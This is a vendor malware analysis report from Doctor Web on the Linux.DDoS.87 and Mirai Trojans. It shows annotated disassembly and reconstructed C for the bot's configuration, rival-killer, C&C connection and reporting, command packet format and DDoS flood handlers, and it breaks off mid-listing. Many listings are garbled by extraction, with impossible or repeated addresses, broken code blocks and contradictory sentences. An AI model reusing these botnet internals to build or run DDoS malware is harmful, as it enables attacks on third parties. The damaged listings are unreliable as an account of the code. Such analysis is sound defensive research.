Investigation of Linux.Mirai Trojan family
Investigation of Linux.Mirai Trojan family
9/30/2016

Doctor Web Head Office
2-12A, 3rd str. Yamskogo polya
Moscow, Russia
125124

Website: www.drweb.com
Phone: +7 (495) 789-45-87

Refer to the official web site for regional and international office information.
Introduction

A Trojan for Linux that was named Linux.Mirai has several predecessors. The first malware program belonging to this family was spotted in May 2016 and was dubbed Linux.DDoS.87. At the beginning of August, a new version of this Trojan—Linux.DDoS.89—was discovered. Finally, Doctor Web’s security researchers investigated the Linux.Mirai Trojan found later that month.

To learn more on each Trojan, click the corresponding link below:

- Description of Linux.DDoS.87
- Description of Linux.DDoS.89
- Description of Linux.Mirai
**Linux.DDoS.87**

c129e2a23abe826f808725a0724f12470502a3cc—x86
8fd0d16edf270c453c5b6b2481d0a044a410c7cd—ARM
9ff383309ad63da2caa9580d7d85abeece9b13a0—ARM

A Trojan for Linux designed to carry out DDoS attacks. All versions of this malicious program use the `uClibc.so` library. Before starting the mode of receiving and executing commands, the Trojan calls the following functions:

```assembly
text:0804B378           push    1000h           ; size
text:0804B37D           call    _malloc
.text:0804B382           mov     edi, eax       ; buffer for command
.text:0804B384           call    fillConfig
.text:0804B389           call    init_random
.text:0804B38E           call    runKiller
.text:0804B393           call    fillCmdHandlers
```

**fillConfig**

This function uses one memory sector to store configuration information. This configuration storing can be described in the C language as follows:

```c
union {
    char *;
    short *;
    int *;
} conf_data;

struct conf_entry {
    uint32    number;
    conf_data data;
    uint32      length
}

struct malware_config {
    conf_entry *entries;
    uint32      entries_count;
}
```

Each configuration field is filled in the following way:

```c
Config.entries = realloc(Config.entries, 12 * Config.length + 12);
v0 = &Config.entries[Config.length];
v0->number = 0;
v1 = malloc(4u);
*v1 = XX;
```
v1[1] = XX;
v1[2] = XX;
v1[3] = XX;
v0->data = v1;
v2 = Config.entries;
v3 = Config.length + 1;
Config.entries[Config.length].length = 4;
Config.length = v3;

Some strings are stored in an encrypted ELF file and are decrypted before being recorded:

```
.text:0804CA8B        call    _realloc
.text:0804CA90        mov     edx, ds:Config.length
.text:0804CA96        lea     edx, [edx+edx*2]
.text:0804CA99        mov     ds:Config.entries, eax
.text:0804C9AE        lea     esi, [eax+edx*4]
.text:0804CAA1        mov     dword ptr [esi], 0Bh
.text:0804CAA7        mov     [esp+1Ch+size], 49h ; size
.text:0804C9AE        call    _malloc
.text:0804CAB3        mov     edx, 1
.text:0804CAB8        mov     ebx, eax
.text:0804CABA        mov     ecx, offset unk_804FD80
.text:0804CABF        add     esp, 10h
.text:0804CAC2
.text:0804CAC2  loc_804CAC2:            ; CODE XREF: fill1Config+4D0j
.text:0804CAC2        mov     al, [ecx]
.text:0804CAC4        inc     ecx
.text:0804CAC5        xor     eax, 0FFFFFFFAh
.text:0804CAC8        mov     [edx+ebx-1], al
.text:0804CACCC       inc     edx
.text:0804CADC        cmp     edx, 4Ah
.text:0804CAD0        jnz     short loc_804CAC2
.text:0804CAD2        mov     eax, ds:Config.length
.text:0804CAD7        mov     ecx, ds:Config.entries
.text:0804CADD        mov     [esi+4], ebx
.text:0804CAE0        lea     edx, [eax+eax*2]
.text:0804CAE3        inc     eax
.text:0804CAE4        mov     dword ptr [ecx+edx*4+8], 49h
.text:0804CAE4        mov     ds:Config.length, eax
```
The following data is saved to the examined sample's configuration:

<table>
<thead>
<tr>
<th>Number</th>
<th>Data type</th>
<th>Value</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>uint32</td>
<td>—</td>
<td>Command and control server's IP address</td>
</tr>
<tr>
<td>1</td>
<td>uint 16</td>
<td>—</td>
<td>port</td>
</tr>
<tr>
<td>2</td>
<td>string</td>
<td>'kami\x00'</td>
<td>displayed in main on stdin upon launching the Trojan</td>
</tr>
<tr>
<td>3</td>
<td>uint 8</td>
<td>1</td>
<td>Sent to the server after transferring the MAC address</td>
</tr>
<tr>
<td>4</td>
<td>4</td>
<td>0x08080808</td>
<td>not used</td>
</tr>
<tr>
<td>5</td>
<td>4</td>
<td>JR**</td>
<td>not used</td>
</tr>
<tr>
<td>6</td>
<td>4</td>
<td>0x06400640</td>
<td>not used</td>
</tr>
<tr>
<td>7</td>
<td>4</td>
<td>0x0300f4d1</td>
<td>not used</td>
</tr>
<tr>
<td>8</td>
<td>string</td>
<td>&quot;TSource Engine Query&quot;</td>
<td>cmd1 – TSource Engine DDoS</td>
</tr>
<tr>
<td>9</td>
<td>string</td>
<td>&quot;/&quot;</td>
<td>cmd14 default page</td>
</tr>
<tr>
<td>10</td>
<td>string</td>
<td>&quot;www.google.com&quot;</td>
<td>cmd14 default host</td>
</tr>
<tr>
<td>11</td>
<td>string</td>
<td>&quot;Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0&quot;</td>
<td>cmd14 User Agent for request</td>
</tr>
<tr>
<td>12</td>
<td>string</td>
<td>&quot;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36&quot;</td>
<td>cmd14 User Agent for request</td>
</tr>
<tr>
<td>13</td>
<td>string</td>
<td>&quot;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36&quot;</td>
<td>cmd14 User Agent for request</td>
</tr>
<tr>
<td>14</td>
<td>string</td>
<td>&quot;Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36&quot;</td>
<td>cmd14 User Agent for request</td>
</tr>
<tr>
<td>15</td>
<td>string</td>
<td>&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56&quot;</td>
<td>not used</td>
</tr>
<tr>
<td>20</td>
<td>string</td>
<td>&quot;GET &quot;</td>
<td>cmd14 generating requests</td>
</tr>
<tr>
<td>21</td>
<td>string</td>
<td>&quot;HTTP/1.1&quot;</td>
<td>cmd14 generating requests</td>
</tr>
<tr>
<td>22</td>
<td>string</td>
<td>&quot;Host: &quot;</td>
<td>cmd14 generating requests</td>
</tr>
<tr>
<td>Number</td>
<td>Data type</td>
<td>Value</td>
<td>Purpose</td>
</tr>
<tr>
<td>--------</td>
<td>-----------</td>
<td>--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
<td>----------------------------------------------</td>
</tr>
<tr>
<td>23</td>
<td>string</td>
<td>&quot;Connection: keep-alive&quot;</td>
<td>cmd14 generating requests</td>
</tr>
<tr>
<td>24</td>
<td>string</td>
<td>&quot;User-Agent: &quot;</td>
<td>cmd14 generating requests</td>
</tr>
<tr>
<td>25</td>
<td>string</td>
<td>&quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp, */ *;q=0.8&quot;</td>
<td>cmd14 generating requests</td>
</tr>
<tr>
<td>26</td>
<td>string</td>
<td>&quot;Accept-Encoding: gzip, deflate, sdch&quot;</td>
<td>cmd14 generating requests</td>
</tr>
<tr>
<td>27</td>
<td>string</td>
<td>&quot;Accept-Language: en-US,en;q=0.8&quot;</td>
<td>cmd14 generating requests</td>
</tr>
<tr>
<td>28</td>
<td>string</td>
<td>&quot;Cookie: &quot;</td>
<td>not used</td>
</tr>
<tr>
<td>29</td>
<td>string</td>
<td>&quot;/proc/&quot;</td>
<td>used by runKiller function</td>
</tr>
<tr>
<td>30</td>
<td>string</td>
<td>&quot;/exe&quot;</td>
<td>used by runKiller function</td>
</tr>
<tr>
<td>31</td>
<td>string</td>
<td>&quot;/cwd/&quot;</td>
<td>used by runKiller function</td>
</tr>
<tr>
<td>33</td>
<td>string</td>
<td>&quot;.shinigami&quot;</td>
<td>used by runKiller and main functions</td>
</tr>
<tr>
<td>100</td>
<td>string</td>
<td>&quot;gayfgt&quot;</td>
<td>used by runKiller function</td>
</tr>
<tr>
<td>101</td>
<td>string</td>
<td>&quot;REPORT %s:%s&quot;</td>
<td>used by runKiller function</td>
</tr>
<tr>
<td>102</td>
<td>string</td>
<td>&quot;hello friend :)&quot;</td>
<td>used by runKiller function</td>
</tr>
<tr>
<td>103</td>
<td>string</td>
<td>&quot;[KTN]&quot;</td>
<td>used by runKiller function</td>
</tr>
</tbody>
</table>

The following functions are then used to get the configuration values:

<table>
<thead>
<tr>
<th>Function</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>char *get_data_from_config(int number)</td>
<td>returns the data pointer for conf_entry with the number value</td>
</tr>
<tr>
<td>uint32 get_conf_uint32(int number)</td>
<td>returns unit32 stored under the data pointer for conf_entry with the number value</td>
</tr>
<tr>
<td>uint16 get_conf_uint16(int number)</td>
<td>returns unit16 stored under the data pointer for conf_entry with the number value</td>
</tr>
<tr>
<td>uint8 get_conf_uint8(int number)</td>
<td>returns unit8 stored under the data pointer for conf_entry with the number value</td>
</tr>
</tbody>
</table>
init_random

This function initializes the generation of pseudo-random sequences. Linux.BackDoor.Fgt and Linux.BackDoor.Tsunami used such generators; however, their operation was implemented in a different manner.

The init_rand function from Linux.DDoS.87:

```assembly
.text:080481AC init_rand proc near ; CODE XREF:
sendUDP+249p
.text:080481AC
... ; processCmd+1E3p
.text:080481AC
.text:080481AC var_4 = dword ptr -4
.text:080481AC arg_0 = dword ptr 8
.text:080481AC
.text:080481AC push ebp
.text:080481AD mov ebp, esp
.text:080481AF sub esp, 10h
.text:080481B2 mov eax, [ebp+arg_0]
.text:080481B5 mov ds:Q, eax
.text:080481BA mov eax, [ebp+arg_0]
.text:080481BD sub eax, 61C8467h
.text:080481C2 mov ds:word_80599E4, eax
.text:080481C7 mov eax, [ebp+arg_0]
.text:080481CA add eax, 3C6EF372h
.text:080481CF mov ds:word_80599E8, eax
.text:080481D4 mov [ebp+var_4], 3
.text:080481DB jmp short loc_8048211
.text:080481DD

;-------------------------------------------------------------

--
.text:080481DD
.text:080481DD loc_80481DD: ; CODE XREF:
init_rand+6Cj
.text:080481DD mov ecx, [ebp+var_4]
.text:080481E0 mov eax, [ebp+var_4]
.text:080481E3 sub eax, 3
.text:080481E6 mov edx, ds:Q[eax*4]
.text:080481ED mov eax, [ebp+var_4]
.text:080481F0 sub eax, 2
.text:080481F3 mov eax, ds:Q[eax*4]
.text:080481FA xor edx, eax
.text:080481FC mov eax, [ebp+var_4]
.text:080481FF xor eax, edx
.text:08048201 xor eax, 9E3779B9h
```
The `init_random` function from Linux/DDoS.87:

```
.text:0804C090 init_random    proc near ; CODE XREF: main+29p
.text:0804C090           push    esi
.text:0804C091           push    ebx
.text:0804C092           sub     esp, 4
.text:0804C095           call    ___libc_getpid
.text:0804C09A           mov     esi, eax
.text:0804C09C           call    __getppid
.text:0804C0A1           sub     esp, 0Ch
.text:0804C0A4           mov     ebx, eax
.text:0804C0A6           push    0    ; time
.text:0804C0A8           call    __GI_time
.text:0804C0AD           imul    ebx, eax
.text:0804C0B0           mov     ecx, 3
.text:0804C0B5           add     esp, 10h
.text:0804C0B8           lea     edx, [esi+ebx]
.text:0804C0BB           mov     ds:random_gen_data, edx
.text:0804C0C1           lea     eax, [edx-61C88647h]
.text:0804C0C7           mov     ds:rand1, eax
.text:0804C0CC           lea     eax, [edx+3C6EF372h]
.text:0804C0D2           mov     ds:rand2, eax
.text:0804C0D7
.text:0804C0D7 loc_804C0D7: ; CODE XREF: init_random+6Fj
.text:0804C0D7           mov     edx, ds:dword_8051694[ecx*4]
.text:0804C0DE           mov     eax, ecx
.text:0804C0E0           xor     eax, edx
.text:0804C0E2           mov     edx, ds:dword_8051698[ecx*4]
.text:0804C0E9           xor     edx, 9E3779B9h
.text:0804C0EF           xor     eax, edx
.text:0804C0F1           mov     ds:random_gen_data[ecx*4], eax
```

runKiller

This function launches a child process designed to search running processes for other Trojans and terminate them. You can see a description of a child process’s operation below.

First, the process kills standard stdin, stdout, and stderr threads and retrieves the strings it needs from the configuration:

```assembly
.text:0804AFAB          push   STDIN_FILENO ; fd
.text:0804AFAD          call    ___libc_close
.text:0804AFB2          mov     dword ptr [esp+0], STDERR_FILENO ;
.text:0804AFB9          call    ___libc_close
.text:0804AFBE          mov     dword ptr [esp+0], STDOUT_FILENO ;
.text:0804AFCA          call    ___libc_close
.text:0804AFD1          mov     dword ptr [esp+0], 1Dh
.text:0804AFD6          call    get_data_from_config
.text:0804AFDD          mov     ds:proc, eax
.text:0804AFE2          call    get_data_from_config
.text:0804AFE7          mov     dword ptr [esp+0], 1Fh
.text:0804AFEE          mov     ds:exe, eax
.text:0804AFF3          call    get_data_from_config
.text:0804AFF8          mov     dword ptr [esp+0], 21h
.text:0804AFFF          mov     ds:cwd, eax
.text:0804B004          call    get_data_from_config
.text:0804B009          mov     dword ptr [esp+0], 64h
.text:0804B010          mov     ds:shinigami, eax
.text:0804B015          call    get_data_from_config
.text:0804B01A          mov     dword ptr [esp+0], 65h
.text:0804B021          mov     ds:gaygft, eax
.text:0804B026          call    get_data_from_config
.text:0804B02B          mov     dword ptr [esp+0], 66h
.text:0804B032          mov     ds:report_fmt, eax
.text:0804B037          call    get_data_from_config
```
Then the Trojan tries to open the following file objects:

`/proc/<PID>/exe`

`/proc/<PID>/cwd`

If successful, the relevant flag is set. If not, the process terminates itself:

```assembly
.text:0804B13F cmp ds:couldOpenExe, 0
.text:0804B146 jz short loc_804B158
.text:0804B148 lea ebp, [esp+0A3Ch+var_226]
.text:0804B14F cmp ds:couldOpenCWD, 0
.text:0804B156 jnz short loc_804B17E
.text:0804B158
.text:0804B158 loc_804B158: ; CODE XREF: run-Killer+1C6j
.text:0804B158 sub esp, 0Ch
.text:0804B15B push 0 ; status
.text:0804B15D call ___GI_exit
```

If the process continues operating, in five minutes it starts searching for other Trojans in order to terminate their operation by reading the content of the `/proc/` folder in an infinite loop:

```assembly
.text:0804B162 read_proc_from_begin: ; CODE XREF: run-Killer+225j
.text:0804B162 sub esp, 0Ch
.text:0804B165 mov eax, [esp+0A48h+var_A34]
.text:0804B169 push eax
.text:0804B16A call ___GI_closedir
.text:0804B16F mov [esp+0A4Ch+fd], 5
.text:0804B176 call sleep
.text:0804B17B add esp, 10h
.text:0804B17E
.text:0804B17E loc_804B17E: ; CODE XREF: run-Killer+1D6j
.text:0804B17E sub esp, 0Ch
.text:0804B181 mov eax, ds:proc
.push eax ; filename
.text:0804B186 call ___GI_opendir
.text:0804B187 mov [esp+0A4Ch+var_A34], eax
```
If the folder from which the process was run is found to contain a file named .shinigami, the process is not terminated because it is used to implement some kind self-protection:
If the file named .shinigami is absent from the folder, the process’s executable file is read in order to find strings from a configuration whose numbers are higher than 100. Meanwhile, the Trojan reads file fragments sequentially. The size of each fragment is 0x800 byte. If the value required is at buffer overflow, the process is not terminated.

**fillCmdHandlers**

A function responsible for filling a structure that stores command handlers. The structure looks as follows:

```c
struct cmd {
    char  number;
    void *handler;
};

struct cmd_handlers {
    cmd *handlers;
    char  length;
};
```

The structure is filled in the following way:

```c
v0 = realloc(handlers.handlers, 8 * handlers.length + 8);
v1 = handlers.length + 1;
handlers.handlers = v0;
v2 = &v0[handlers.length];
v2->number = 0;
v2->func = cmd0_udp_random;
handlers.length = v1;
```
v3 = realloc(v0, 8 * v1 + 8);
handlers.handlers = v3;
v4 = handlers.length + 1;
v5 = &v3[handlers.length];
v5->number = 1;
v5->func = cmd1_tsource;

As a result, the following command table is generated:

<table>
<thead>
<tr>
<th>Number</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>15-17</td>
<td>The examined sample contains functions that are executed in an infinite loop</td>
</tr>
<tr>
<td>14</td>
<td>HTTP flood</td>
</tr>
<tr>
<td>9</td>
<td>Transparent Ethernet Bridging a GRE</td>
</tr>
<tr>
<td>8</td>
<td>UDP flood overGRE</td>
</tr>
<tr>
<td>7</td>
<td>Establishing a TCP connection</td>
</tr>
<tr>
<td>6</td>
<td>sending a TCP packet</td>
</tr>
<tr>
<td>4</td>
<td>TCP flood—send packets containing random data</td>
</tr>
<tr>
<td>3</td>
<td>TCP flood—send packets with TCP options</td>
</tr>
<tr>
<td>2</td>
<td>DNS flood</td>
</tr>
<tr>
<td>1</td>
<td>TSource flood</td>
</tr>
<tr>
<td>0</td>
<td>UDP flood</td>
</tr>
</tbody>
</table>

Once all the above functions are performed, the following string is retrieved from the configuration and added to the stdin thread:

```
.mov    dword ptr [esp+0], 2
.call   get_data_from_config ; kami
.mov    [esp+0], eax      ; a1
.call   strlen
.mov    dword ptr [esp+0], 2
.mov    ebx, eax
.call   get_data_from_config
.add    esp, 0Ch
.push   ebx                ; len
.push   eax                ; addr
.push   1                   ; fd
```
Then the Trojan removes its name to hide itself:

```
.text:0804B3D8           mov    ebp, [esi]       ; esi = argv[0]
.text:0804B3DA           push   ebp                   ; al
.text:0804B3DB           call   strlen
.text:0804B3E0           add    esp, 10h
.text:0804B3E3           mov    ecx, eax
.text:0804B3E5           test   eax, eax
.text:0804B3E7           jle    short loc_804B3F6
.text:0804B3E9           xor    edx, edx
.text:0804B3EB
.text:0804B3EB loc_804B3EB:       ; CODE XREF: main +94j
.text:0804B3EB           mov    eax, [esi]
.text:0804B3ED           mov    byte ptr [eax+edx], 0
.text:0804B3F1           inc    edx
.text:0804B3F2           cmp    ecx, edx
.text:0804B3F4           jnz    short loc_804B3EB
```

The child processes are subsequently launched (the code is simplified and contains no requests to the configuration):

```
//here is parent
pid_t child = fork();
(child > 0){
    waitpid(child, &status, 0); //waiting until child die
    exit();
}
if(!child){ //child executing this
    pid_t child2 = fork();
    if(child2 > 0){//we spawn children—time to die
        exit(); //after this exit() grandpa will die too
    }
}
```

```
pid_t child3 = fork();
```
The `.shinigami` file is created in the Trojan’s folder to protect the Trojan from removing itself. The maximum uptime of **Linux.DDoS.87** on an infected computer is one week, after which the Trojan terminates its operation.

### The cycle for receiving and executing commands

After that, the malicious process tries to connect to the C&C server to get instructions:

```assembly
.text:0804B44E    call   __libc_fork
.text:0804B453    mov    ebx, eax
.text:0804B455    test   eax, eax
.text:0804B457    jg     loc_804B84E
.text:0804B45D    call   __GI_setsid
.text:0804B462    sub    esp, 0Ch
.text:0804B465    push   0                   ; fd
.text:0804B467    call   __libc_close
.text:0804B46C    mov    dword ptr [esp+0], 1 ; fd
.text:0804B473    call   __libc_close
.text:0804B478    mov    dword ptr [esp+0], 2 ; fd
.text:0804B47F    call   __libc_close
.text:0804B484    add    esp, 10h
.text:0804B487    lea    eax, [edi+2]
.text:0804B48A    xor    esi, esi
.text:0804B48C    mov    [esp+48Ch+ptr_to_third_comm_byte], eax
.text:0804B490   entry_point_of_payload_execution:    ; CODE XREF: main +167j
.text:0804B490    ; main+17Aj ...
.text:0804B490    mov    edx, esi
.text:0804B492    mov    eax, 1000h
.text:0804B497    and    edx, 0FFFFh
.text:0804B49D    push   4000h    ; int
.text:0804B4A2    sub    eax, edx
```
If `recv` returns an error, a socket is opened, and its content is recorded to the `fd` global variable:

```
.text:0804B553 recv_failed: ; CODE XREF: main +159j
.text:0804B553 mov eax, ds:fd
.text:0804B558 test eax, eax
.text:0804B55A js short fd_closed_or_uninitialized
.text:0804B55C sub esp, 0Ch
.text:0804B55F push eax ; fd
.text:0804B560 call ___libc_close
.text:0804B565 add esp, 10h
.text:0804B568
.text:0804B568 fd_closed_or_uninitialized: ; CODE XREF: main +1FAj
.text:0804B568 push eax
.text:0804B569 push 0
.text:0804B56B push 1
.text:0804B56D push 2
.text:0804B56F call ___GI_socket
.text:0804B574 add esp, 10h
.text:0804B577 mov ds:fd, eax
```

During reading/writing, a minute-long time-out is set:

```c
socket_timeout.tv_sec = 60;
socket_timeout.tv_usec = 0;
__GI_setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &socket_timeout, 8);
__GI_setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &socket_timeout, 8);
```
Then a connection to the C&C server is established:

```
.text:0804B5CE    mov    [esp+4AC+hnc_sockaddr.sin_family], 2
.text:0804B5D8    add    esp, 14h
.text:0804B5DB    push   0
.text:0804B5DD    call   get_conf_uint32
.text:0804B5E2    mov    dword ptr [esp+0], 1
.text:0804B5E9    mov    [esp+49Ch+hnc_sockaddr.sin_addr.s_addr], eax
.text:0804B5F0    call   get_conf_uint16
.text:0804B5F5    ror    ax, 8
.text:0804B5F9    mov    [esp+49Ch+hnc_sockaddr.sin_port], ax
.text:0804B601    add    esp, 0Ch
.text:0804B604    mov    eax, ds:fd
.text:0804B609    push   10h
.text:0804B60B    lea    edx, [esp+494h+hnc_sockaddr]
.text:0804B612    push   edx
.text:0804B613    push   eax
.text:0804B614    call   ___libc_connect
```

After that the IP address of the interface in use is saved and a string containing an identifier of an infected device’s architecture (x86, ARM, MIPS, SPARC, SH-4 or M68K) is sent to the C&C server:

```
.text:0804B62F    lea    eax, [esp+490h+status]
.text:0804B636    mov    ecx, ds:fd
.text:0804B63C    push   eax
.text:0804B63D    lea    edx, [esp+494h+var_54]
.text:0804B644    push   edx
.text:0804B645    push   ecx
.text:0804B646    call   ___GI_getsockname
.text:0804B64B   +var_54.sin_addr.s_addr]
.text:0804B652    mov    ds:selfaddr, eax
.text:0804B657    pop    eax
.text:0804B658    pop    edx
.text:0804B659    push   1    ; size
.text:0804B65B    push   20h    ; nmem
.text:0804B65D    call   malloc
.text:0804B662    mov    dword ptr [esp+0], offset a2 ; "telnet.x86"
.text:0804B669    mov    ebx, eax
.text:0804B66B    call   strlen
.text:0804B670    add    esp, 0Ch
.text:0804B673    push   eax    ; a3
The MAC address of a network card is also sent to the C&C server:

```
.text:0804b756   push   edx          ; ifconf *
.text:0804b757   push   SIOCGIFFLAGS ; request
.text:0804b75c   push   esi          ; d
.text:0804b75d   call   ___GI_ioctl
.text:0804b762   add   esp, 10h
.text:0804b765   test  eax, eax
.text:0804b767   jnz   short loc_804b735
.text:0804b769   test  byte ptr [esp+48Ch+a1.ifr_ifru], 8
.text:0804b771   jnz   short loc_804b735
.text:0804b773   push  eax          ; char *
.text:0804b774   lea   eax, [esp+490h+a1]
.text:0804b77b   push  eax          ; ifconf *
.text:0804b77c   push  SIOCGIFHWADDR ; request
.text:0804b781   push  esi          ; d
.text:0804b782   call   ___GI_ioctl
.text:0804b787   add   esp, 10h
.text:0804b78a   test  eax, eax
.text:0804b78c   jnz   short loc_804b735
.text:0804b78e   push  esi
.text:0804b78f   push  6      ; a3
.text:0804b791   lea   edx, [esp+494h+a1.ifr_ifru+2]
.text:0804b798   push  edx          ; a2
.text:0804b799   lea   eax, [esp+498h+macAddr]
.text:0804b7a0   push  eax          ; a1
.text:0804b7a1   call   strcpy
.text:0804b7a6   add   esp, 10h
.text:0804b7a9   loc_804b7a9: ; CODE XREF: main +38lj...
.push   4000h ; int
.push   6 ; int
.lea  edx, [esp+494h+macAddr]
.mov  ebx, ds:fd
.push  edx ; char *
```
Data from the C&C server is saved to the buffer. If more than one command is received during an iteration, they are handled one by one. The format of the received command (for number fields, network byte order is used) is as follows:

<table>
<thead>
<tr>
<th>Field</th>
<th>Purpose</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>fullLength</td>
<td>full length of the received command</td>
<td>2</td>
</tr>
<tr>
<td>sleepTime</td>
<td>time for execution (every command runs a new process using fork and then kills it)</td>
<td>4</td>
</tr>
<tr>
<td>cmd</td>
<td>command number</td>
<td>1</td>
</tr>
<tr>
<td>hostCount</td>
<td>number of attacked hosts</td>
<td>1</td>
</tr>
<tr>
<td>target[hostCount]</td>
<td>target array</td>
<td>5*hostCount</td>
</tr>
<tr>
<td>param_cnt</td>
<td>quantity</td>
<td>1</td>
</tr>
<tr>
<td>param[param_cnt]</td>
<td>parameters</td>
<td>...</td>
</tr>
</tbody>
</table>

If `fullLength == 0`, two zero bytes are sent to the C&C server:
If the length is zero, the processor of the received command is launched:

```assembly
.text:0804B4D0 process_command:                  ; CODE XREF: main
     +1C2j
   .text:0804B4D0       cmp  ax, 1
   .text:0804B4D4       jz  short loc_804B4DC
   .text:0804B4D6       cmp  ax, 1000h
   .text:0804B4DA       ja  short entry_point_of_payload_execution
   .text:0804B4DC      
   .text:0804B4DC loc_804B4DC:                  ; CODE XREF: main
     +174j
   .text:0804B4DC       cmp  ax, si
   .text:0804B4DF       ja  short entry_point_of_payload_execution
   .text:0804B4E1       sub  si, ax
   .text:0804B4E4       mov  ebx, eax
   .text:0804B4E6       and  ebx, 0FFFFh
   .text:0804B4EC       push edx
   .text:0804B4ED       push edx
   .text:0804B4EE       lea  eax, [ebx-2]
   .text:0804B4F1       push eax          ; a2
   .text:0804B4F2       mov  eax, [esp+498h+ptr_to_third_comm_byte]
```
The function receives a pointer to the third byte of the command and its length. Then it starts parsing the command’s arguments and filling the respective structures:

```c
// structures representing data received from the server
struct target{
    uint32_t ip; // target IP
    uint8_t  maskbits;  // if the specified number is less than 31, the Trojan will attack random hosts obtained from IP by randomly generating lowest bits maskbits
};

struct param{
    uint8_t  id;
    uint8_t  len;
    uint8_t  data[len];
};

// structures that are displayed in the Trojan
struct target_parsed {
    uint32_t target_ip;
    uint8_t  maskbits;
    sockaddr_in sockaddr;
};

struct param_parsed {
    uint8_t  id;
};
```
```c
char * data;
}

Code to initiate an analysis of the packet header:

.text:0804BA60 head_packet_parse: ; CODE XREF: process+12j
    mov    edi, [esi+pkct_cmd.sleepTime] ;
    ebx = size
    .text:0804BA62
    ror    di, 8
    .text:0804BA66
    ror    edi, 10h
    .text:0804BA69
    ror    di, 8
    .text:0804BA6D
    cmp    ebx, 4
    .text:0804BA70
    jz     short ret_form_func
    .text:0804BA72
    mov    al, [esi+pkct_cmd.cmd]
    .text:0804BA75
    cmp    ebx, 5
    .text:0804BA78
    mov    [esp+4Ch+var_39], al
    .text:0804BA7C
    jz     short ret_form_func
    .text:0804BA7E
    mov    al, [esi+pkct_cmd.host_count]
    .text:0804BA81
    test   al, al
    .text:0804BA83
    jz     short ret_form_func
    .text:0804BA85
    and    eax, 0FFh
    .text:0804BA8A
    lea    edx, [ebx-6]
    .text:0804BA8D
    mov    [esp+4Ch+unprocessed_bytes], edx
    .text:0804BA91
    mov    [esp+4Ch+target_count], eax
    .text:0804BA95
    lea    ebp, [eax+eax*4]
    .text:0804BA98
    cmp    edx, ebp
    .text:0804BA9A
    jb     short ret_form_func
    .text:0804BA9C
    lea    eax, [esi+pkct_cmd.target]
    .text:0804BA9F
    mov    [esp+4Ch+var_18], eax
    .text:0804BAA3
    push   eax
    .text:0804BAA4
    push   eax
    .text:0804BAA5
    push   18h ; size
    .text:0804BAA7
    mov    ecx, [esp+58h+target_count]
    .text:0804BAAB
    push   ecx ; nmemb
    .text:0804BAAC
    call   _calloc
    .text:0804BAAC
    mov    [esp+5Ch+targets], eax
    .text:0804BAB1
    add    esp, 10h
Parsing code for received targets:

```asm
.text:0804BAC7 parse_next_target: ; CODE XREF: process+A3j
    mov    edx, [ecx+pkct_cmd.target.ip_addr]
    mov    [esi+target_parsed.target_ip], edx
    mov    al, [ecx+pkct_cmd.target.masksize]
    add    ecx, 5
    mov    [esi+target_parsed.masksize], al
    mov    [esi+target_parsed.sockaddr.sin_family], 2
    mov    [esi+target_parsed.sockaddr.sin_addr.s_addr], edx
    add    esi, 18h
    cmp    ecx, ebp
    jnz    short parse_next_target
    mov    edx, [esp+4Ch+target_count]
    add    ecx, 6
    mov    [esp+4Ch+var_18], ecx
    lea    eax, [edx+edx*4]
    sub    ebx, eax
    sub    ebx, 6
    mov    [esp+4Ch+unprocessed_bytes], ebx
```

Then the Trojan determines whether the transmitted parameters need to be parsed. If they do, the run_command function is called after the parsing is complete:

```asm
.text:0804BAFC end_target_parsing: ; CODE XREF: process+7Ej
    mov    eax, [esp+4Ch+unprocessed_bytes]
    mov    [esp+4Ch+params_buffer], 0
    test   eax, eax
    jz     short finish_processing ; no parameter field = error
    mov    ebx, [esp+4Ch+var_18]
    mov    bl, [ebx]
    mov    [esp+4Ch+param_cnt], bl
```
run_command

The function receives a time value, a command number, a quantity and array of targets, and a quantity and array of parameters. First, the handler needed is searched for:

```
mov     bl, ds:handlers.length
mov     al, [esp+2Ch+number]
test    bl, bl
mov     [esp+2Ch+local_saved_number], al
movzx   ebp, [esp+2Ch+target_count]
movzx   edi, [esp+2Ch+params_count]
jz      short return ; empty handlers
mov     ecx, ds:handlers.handlers
xor     esi, esi
cmp     al, [ecx+cmd.number]
jz      short handler_found
```

Then child processes are run:

```c
handler_found:
    pid_children = fork(); //parent
    if ( pid_children <= 0 ) {
        if ( !pid_children ){
            pid_2 = fork();
            if ( pid_2 > 0 )
                exit(0); //child dies, so parent returns to command execution
            if ( !pid_2)
                v6 = fork();
                if ( !v6 ){
                    setsid();
                    init_random();
                    handlers.handlers[v7].func(target_count, targets, params_count, params); // run command
                    exit(0);
                }
        }
    }
```
setsid();
sleep(time);
kil(v6, 9); // kills his child after $time seconds
exit(0);
}
}
}else{// parent waiting for children death
    LOBYTE(v6) = __libc_waitpid(pid_children, &status, 0);
}
Other handlers act as follows:

```c
void handle(target *t, param *p){
    the Trojan receives packet parameters
    a packet is created for every target
    yet 1 {
        for every target
            if (maskbits <= 31), a new target IP is selected
            packet is being sent
    }
}
```

**cmd0 – UDP Flood**

First, the parameters received are parsed:

```c
v23 = calloc(target_count, 4u);
TOS = getNumberOrDefault(params_count, params, 2, 0);
ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, params, 4, 64);
fragmentation = getNumberOrDefault(params_count, params, 5, 0);
sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
dport = getNumberOrDefault(params_count, params, 7, 0xFFFF);
packetSize = getNumberOrDefault(params_count, params, 0, 512);
